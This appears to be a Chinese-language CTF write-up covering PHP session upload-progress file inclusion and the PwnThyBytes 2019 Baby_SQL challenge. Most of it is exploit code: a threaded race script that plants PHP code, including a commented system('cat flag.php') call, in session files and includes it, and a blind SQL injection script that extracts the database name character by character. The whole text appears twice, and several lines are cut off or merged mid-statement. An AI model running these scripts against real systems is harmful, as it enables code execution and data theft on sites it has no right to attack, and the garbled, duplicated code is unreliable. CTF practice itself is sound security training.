import io
import sys
import requests
import threading
host = '6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/'
sessid = 'feng'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={
# "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');echo md5('1');?>"},
"PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5('1');?>"},//session存值
files={
"file":('a.txt', f)},
cookies={
'PHPSESSID':sessid}//改名
)
def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')//路径
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text://1的md5
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))//线程可以套循环 多层线程
t1.daemon = True //相当完成任务直接结束，不用等线程全部结束
t1.start()
READ(session)
线程结束后，想在网页获得php坏境页面可是找不到，
希望有师傅解答一下，然后这样就非常局限，
[PwnThyBytes 2019]Baby_SQL
访问源码，获得source.zip
打开后发现index.php
<?php
session_start();
foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
function filter($value)
{
!is_string($value) AND die("Hacking attempt!");
return addslashes($value);
}
isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');
?>
都要经过最后的过滤，然后通过传参p进行包含templates目录下面的文件
login.php
<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);
function auth($user)
{
$_SESSION['username'] = $user;
return True;
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php"
//这个templates是因为login.php在这个目录下面
files = {"file": "123456789"}
a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'},
proxies={'127.0.0.1:8080"})通过这个接口，burp就可以抓包到
print(a.text)
然后对username进行注入，发现是用"进行闭合,然后回显，可以用盲注实现
<meta d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php"
files = {"file": "123456789"}
flag=''
for i in range(1,100):
low = 32
high = 128
mid = (low+high)//2
while (low < high):
time.sleep(0.06)
#payload_flag ={'username': "test\" or (ascii(substr((select
group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),'password': 'test'}
payload_flag = {
'username': 'test" or (ascii(substr(database(),{0},1))>{1}) #'.format(i,mid),'password': 'test'}
r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
cookies={"PHPSESSID": "test1"})
print(payload_flag)
if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
low = mid +1
else:
high = mid
mid = (low + high) // 2
if(mid==32 ):
break
flag +=chr(mid)
print(flag)
print(flag)
import io
import sys
import requests
import threading
host = '6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/'
sessid = 'feng'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={
# "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');echo md5('1');?>"},
"PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5('1');?>"},//session存值
files={
"file":('a.txt', f)},
cookies={
'PHPSESSID':sessid}//改名
)
def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')//路径
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text://1的md5
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))//线程可以套循环 多层线程
t1.daemon = True //相当完成任务直接结束，不用等线程全部结束
t1.start()
READ(session)
线程结束后，想在网页获得php坏境页面可是找不到，
希望有师傅解答一下，然后这样就非常局限，
[PwnThyBytes 2019]Baby_SQL
访问源码，获得source.zip
打开后发现index.php
<?php
session_start();
foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
function filter($value)
{
!is_string($value) AND die("Hacking attempt!");
return addslashes($value);
}
isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');
?>
都要经过最后的过滤，然后通过传参p进行包含templates目录下面的文件
login.php
<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);
function auth($user)
{
$_SESSION['username'] = $user;
return True;
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php"
//这个templates是因为login.php在这个目录下面
files = {"file": "123456789"}
a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'},
proxies={'127.0.0.1:8080"})通过这个接口，burp就可以抓包到
print(a.text)
然后对username进行注入，发现是用"进行闭合,然后回显，可以用盲注实现
<meta d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php"
files = {"file": "123456789"}
flag=''
for i in range(1,100):
low = 32
high = 128
mid = (low+high)//2
while (low < high):
time.sleep(0.06)
#payload_flag ={'username': "test\" or (ascii(substr((select
group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),'password': 'test'}
payload_flag = {
'username': 'test" or (ascii(substr(database(),{0},1))>{1}) #'.format(i,mid),'password': 'test'}
r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
cookies={"PHPSESSID": "test1"})
print(payload_flag)
if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
low = mid +1
else:
high = mid
mid = (low + high) // 2
if(mid==32 ):
break
flag +=chr(mid)
print(flag)
print(flag)
